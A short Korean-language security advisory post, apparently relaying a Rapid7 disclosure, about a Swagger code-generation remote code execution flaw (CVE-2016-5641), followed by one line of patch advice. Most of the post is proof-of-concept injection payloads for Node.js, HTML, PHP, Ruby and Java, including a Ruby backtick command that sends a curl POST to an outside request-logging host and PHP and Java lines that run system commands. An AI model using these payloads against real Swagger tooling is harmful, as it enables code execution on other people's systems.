Swagger 원격코드실행 취약점(CVE_2016-5641) 발견!

Swagger 원격코드실행 취약점(CVE_2016-5641) 발견!

새로운 인기 오픈소스 API 프레임워크 Swagger에서 취약점이 발견되었습니다. 이 취약점(CVE-2016-5641)은 클라이언트 및 서버에 존재하며, 공격에 악용될 경우 JASN 공개표준 포맷 또는 YAML 데이터 직렬화 언어를 사용하는 Swagger 파일 내 파라미터 인젝션을 통해 원격코드실행이 가능합니다. 

Java, PHP,NodeJS 및 Rube 등 언어들이 영향을 받습니다. 

Expoit

Javascript(node)

“paths”: {          

     ”/a’);};};return exports;}));console.log(‘RCE’);(function(){}(this,function(){a=function(){b=function(){new Array(‘”: {  

html

“info”: { “description”: “<script>alert(1)</script>”,

php

“definitions”: {          

     ”d”: {              

          “type”: “object”,              

          “description”: “*/ echo system(chr(0x6c).chr(0×73)); /*”,  

ruby

“info”: {          

     ”description”: “=begin”,  

     ”title”: “=end `curl -X POST -d \”fizz=buzz\” http://requestb.in/1ftnzfy1`”

Java

“paths”: {          

     ”/a\”; try{java.lang.Runtime.getRuntime().exec(\”ls\”);}catch(Exception e){} \”":   

패치방법

특정 언어 이스케이스 시퀀스의 Swagger 문서를 잘 살펴봐야 한다. 

출처 : 

https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641